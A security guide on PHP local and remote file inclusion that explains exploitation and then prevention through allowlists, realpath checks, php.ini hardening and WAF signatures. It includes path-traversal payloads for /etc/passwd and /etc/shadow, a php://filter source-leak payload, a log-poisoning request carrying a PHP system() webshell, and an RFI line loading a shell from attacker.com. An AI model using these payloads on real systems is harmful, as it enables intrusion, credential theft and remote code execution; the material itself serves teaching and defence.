Local File Inclusion and Remote File Inclusion in PHP: Exploitation and Prevention

PHP's file inclusion functions — include, require, include_once, require_once — are still in production codebases and still exploitable when they accept user-controlled paths. This guide covers LFI and RFI exploitation patterns, PHP filter wrapper abuse, log poisoning, and secure alternatives.

PHP’s include, require, include_once, and require_once functions execute the target file as PHP code. When the target path is derived from user input without validation, an attacker can direct PHP to include files containing attacker-controlled content — and when that content runs as PHP code in the application’s context, the result is typically remote code execution.

This vulnerability class has been in the OWASP Top 10 in various forms for over fifteen years. PHP frameworks and modern practices have reduced its prevalence, but legacy codebases and direct PHP applications still ship LFI vulnerabilities in 2026, and they remain a practical exploitation vector in penetration tests and bug bounty programs.

Local File Inclusion: The Core Pattern

The classic vulnerable pattern:

<?php
$page = $_GET['page'];
include($page . '.php');

The developer’s intent: a simple page router that loads home.php, about.php, contact.php based on the page parameter.

The attack: an attacker provides ../../etc/passwd as the page value. After the path traversal resolves, PHP attempts to include /etc/passwd.php. The .php extension appended by the application blocks reading /etc/passwd directly in this case, but there are bypasses.

Null Byte Bypass (PHP < 5.3.4)

In older PHP versions, a null byte (%00) in the filename terminates the string before the .php extension is appended:

page=../../etc/passwd%00

This resolves to ../../etc/passwd and the .php is ignored. Null byte truncation was fixed in PHP 5.3.4. Modern PHP versions are not vulnerable, but legacy applications on older PHP versions still exist in production.

No Extension Appended

Many vulnerable patterns don’t append an extension at all:

<?php
$page = $_GET['page'];
include('pages/' . $page);

This allows direct path traversal to any readable file on the system:

page=../../etc/passwd
page=../../etc/shadow
page=../../../../proc/self/environ

On Linux systems, interesting files reachable via LFI include:

  • /etc/passwd — user enumeration
  • /proc/self/environ — may contain HTTP headers or other injected content
  • /proc/self/cmdline — application command line
  • /var/log/apache2/access.log — if writable and with log poisoning (see below)
  • Application configuration files containing database credentials

PHP Filter Wrapper Abuse

PHP stream wrappers extend what include can read. The php://filter wrapper is particularly useful to attackers because it can read files as Base64-encoded strings, bypassing the PHP parser:

page=php://filter/convert.base64-encode/resource=index.php

This causes PHP to include index.php as Base64 text rather than executing it. The output appears in the page response, and the attacker can decode it to read the application source code. This is used extensively in bug bounty programs to exfiltrate PHP source files containing credentials, API keys, and additional vulnerabilities.

Extended filter chains can achieve more complex transformations. Research from 2022-2023 demonstrated that chaining multiple PHP conversion filters could generate arbitrary content, enabling LFI-to-RCE in some configurations even without a writeable file for log poisoning. Tools like php_filter_chain_generator automate payload construction.

Log Poisoning: LFI to RCE

Log poisoning turns an LFI into remote code execution by injecting PHP code into a log file that the application can subsequently include.

The pattern:

  1. The web server writes user-controlled content to an access log (typically the User-Agent header)
  2. The attacker sends a request with a PHP payload in the User-Agent: <?php system($_GET['cmd']); ?>
  3. This gets written to the Apache or nginx access log
  4. The attacker uses the LFI to include the log file: page=../../../../var/log/apache2/access.log
  5. The included log file executes, and $_GET['cmd'] becomes a command execution parameter
GET /index.php?page=../../../../var/log/apache2/access.log&cmd=id HTTP/1.1
User-Agent: <?php system($_GET['cmd']); ?>

On a successful log poisoning attack, the response contains the output of id, confirming code execution.

Similar poisoning targets exist:

  • PHP session files (/var/lib/php/sessions/sess_<sessionid>)
  • SSH authorized_keys files
  • /proc/self/environ when environment variables include HTTP headers

Remote File Inclusion

RFI allows including files from remote servers, not just the local filesystem. It requires allow_url_include = On in php.ini, which was disabled by default in PHP 5.2.0. Modern PHP installations default to Off, making RFI rare in contemporary deployments — but it persists in legacy installations and custom PHP configurations.

With allow_url_include = On, an attacker can serve a PHP webshell on their own server and include it remotely:

page=http://attacker.com/shell.php

PHP fetches and executes the remote file. RFI provides a simpler path to RCE than LFI log poisoning since the attacker controls the included content directly.

Even without allow_url_include, PHP supports file://, ftp://, and other wrappers in some configurations that can extend the attack surface beyond the local filesystem.

Identifying LFI in Code Review

In PHP code review, look for these patterns:

// Direct user input to include
include($_GET['page']);
include($_POST['template']);
include($request->get('module') . '.php');

// Partially controlled paths
$lang = $_COOKIE['lang'];
include("lang/{$lang}.php");

// Via variable variables or indirect references
$action = $_REQUEST['action'];
include("actions/{$action}");

Static analysis tools (Psalm, PHPStan, Semgrep) can identify these patterns with appropriate rules. Semgrep has community rules for PHP LFI:

rules:
  - id: php-include-user-input
    patterns:
      - pattern: include($_GET[$KEY]);
      - pattern: include($_POST[$KEY]);
      - pattern: include($_REQUEST[$KEY]);
      - pattern: include($_COOKIE[$KEY]);
    message: User-controlled data passed to include() - potential LFI
    languages: [php]
    severity: ERROR

Prevention

Allowlist, Don’t Blocklist

The fundamental fix is removing user control over included file paths entirely, or restricting it to an allowlist:

<?php
// Allowlist of permitted pages
$allowed_pages = ['home', 'about', 'contact', 'products'];
$page = $_GET['page'] ?? 'home';

if (!in_array($page, $allowed_pages, true)) {
    $page = 'home'; // Default to home for invalid inputs
}

include('pages/' . $page . '.php');

The true flag on in_array enables strict type checking. This approach eliminates the LFI surface entirely for this code path: user input no longer controls any part of the filesystem path.

realpath() Validation

If dynamic paths are required, validate that the resolved path stays within the intended directory:

<?php
function safe_include(string $filename, string $base_dir): void {
    $base_dir = realpath($base_dir);
    $full_path = realpath($base_dir . '/' . $filename . '.php');

    if ($full_path === false || strpos($full_path, $base_dir) !== 0) {
        throw new \InvalidArgumentException('Invalid file path');
    }

    include $full_path;
}

realpath() resolves ../ sequences and symlinks, returning the canonical path. The check that the resolved path starts with the base directory prevents traversal outside the intended directory. This fails safely: realpath() returns false for non-existent paths, so missing files are caught.

Disable PHP Wrappers

If php://filter and other wrappers are unnecessary, they can be restricted in php.ini:

allow_url_fopen = Off
allow_url_include = Off

allow_url_include = Off prevents RFI. allow_url_fopen = Off is more aggressive and disables HTTP/FTP wrappers for file operations generally — audit application code before enabling.

Use a Template Engine

The underlying need for dynamic file inclusion is usually page routing or template rendering. Use a proper template engine (Twig, Blade, Smarty) rather than bare PHP includes. Template engines separate template rendering from PHP code execution and enforce context-appropriate escaping:

// Instead of include("templates/{$page}.php")
$loader = new \Twig\Loader\FilesystemLoader('templates');
$twig = new \Twig\Environment($loader);
echo $twig->render($page . '.html.twig', $data);

Twig restricts template paths to the registered loader directory, preventing directory traversal.

PHP Configuration Hardening

; Disable wrappers
allow_url_include = Off

; Restrict include paths to application directories
open_basedir = /var/www/html:/tmp

; Disable dangerous functions that enable exploitation
disable_functions = exec,passthru,shell_exec,system,proc_open,popen

open_basedir restricts include and file operations to the specified directory tree. Attempting to include /etc/passwd when open_basedir = /var/www/html produces a fatal error rather than file disclosure.

Detection in Web Application Firewalls

WAF signatures for LFI typically key on path traversal sequences and PHP wrapper prefixes:

  • ../, ..\, %2e%2e/, %2e%2e%2f — path traversal
  • php://filter, php://input, data:// — wrapper abuse
  • /etc/passwd, /proc/self/environ, /var/log/ — common LFI targets

Bypass techniques include encoding variations (%252e%252e/ double URL encoding), Unicode normalization, and path separator variations. WAFs are supplementary controls; the primary fix is application-level validation.

In Modern PHP Applications

Modern PHP development practices — using frameworks (Laravel, Symfony, Slim), dependency injection containers, and template engines — largely eliminate the direct include() with user input pattern. LFI is primarily a concern in:

  • Legacy codebases written before framework adoption
  • Custom PHP CMS implementations
  • Plugins and themes for platforms like WordPress
  • Older PHP versions still running on hosting environments

Audit any PHP application that predates 2015 or that uses direct include() statements in routing code. The combination of allowlisting and open_basedir configuration eliminates the practical attack surface for this vulnerability class.